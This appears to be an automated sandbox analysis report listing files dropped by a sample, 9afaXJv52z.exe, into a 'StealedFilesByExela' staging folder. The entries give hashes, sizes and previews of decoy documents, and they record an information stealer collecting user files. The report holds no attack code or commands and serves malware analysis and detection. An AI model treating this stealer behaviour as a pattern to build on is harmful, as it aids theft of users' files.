                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH.xlsx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698393795110914
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
                                                                                                                                                                                                                                    MD5:7C5655873C22D2522B13B34841F82038
                                                                                                                                                                                                                                    SHA1:ED733AE5B3E813B97D69E7283AEB8085EFC62B78
                                                                                                                                                                                                                                    SHA-256:9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
                                                                                                                                                                                                                                    SHA-512:A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG.png

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.69486718145169
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
                                                                                                                                                                                                                                    MD5:E63B196AE0D5F7670244FB1347D75EFC
                                                                                                                                                                                                                                    SHA1:1C17108AC7E5263674836BAD67AE44D8C3C6890B
                                                                                                                                                                                                                                    SHA-256:D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
                                                                                                                                                                                                                                    SHA-512:63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\NIRMEKAMZH.jpg

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.694574194309462
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
                                                                                                                                                                                                                                    MD5:78801AF1375CDD81ED0CC275FE562870
                                                                                                                                                                                                                                    SHA1:8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
                                                                                                                                                                                                                                    SHA-256:44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
                                                                                                                                                                                                                                    SHA-512:E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\QFAPOWPAFG.png

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.690474000177721
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
                                                                                                                                                                                                                                    MD5:A01E6B89B2F69F2DA25CB28751A6261C
                                                                                                                                                                                                                                    SHA1:48C11C0BECEB053F3DB16EC43135B20360E77E9B
                                                                                                                                                                                                                                    SHA-256:0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
                                                                                                                                                                                                                                    SHA-512:1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UNKRLCVOHV.docx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698999446679606
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
                                                                                                                                                                                                                                    MD5:73351F70BFEF33BEEA9E1CC192801D02
                                                                                                                                                                                                                                    SHA1:ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
                                                                                                                                                                                                                                    SHA-256:F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
                                                                                                                                                                                                                                    SHA-512:56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UNKRLCVOHV.pdf

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698999446679606
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
                                                                                                                                                                                                                                    MD5:73351F70BFEF33BEEA9E1CC192801D02
                                                                                                                                                                                                                                    SHA1:ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
                                                                                                                                                                                                                                    SHA-256:F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
                                                                                                                                                                                                                                    SHA-512:56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VWDFPKGDUF.jpg

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.696835919052288
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
                                                                                                                                                                                                                                    MD5:197C0DB71198B230CF6568A2AA40C23B
                                                                                                                                                                                                                                    SHA1:BAE63DD78D567ED9183C0F8D72A191191745C4E5
                                                                                                                                                                                                                                    SHA-256:6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
                                                                                                                                                                                                                                    SHA-512:972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VWDFPKGDUF.xlsx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.696835919052288
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
                                                                                                                                                                                                                                    MD5:197C0DB71198B230CF6568A2AA40C23B
                                                                                                                                                                                                                                    SHA1:BAE63DD78D567ED9183C0F8D72A191191745C4E5
                                                                                                                                                                                                                                    SHA-256:6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
                                                                                                                                                                                                                                    SHA-512:972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\WSHEJMDVQC.pdf

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.694142261581685
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
                                                                                                                                                                                                                                    MD5:E9AA17F314E072EBB015265FB63E77C0
                                                                                                                                                                                                                                    SHA1:1233B76350B8181FFFC438B62002C02B4AE79000
                                                                                                                                                                                                                                    SHA-256:F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
                                                                                                                                                                                                                                    SHA-512:719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
                                                                                                                                                                                                                                    Malicious:false
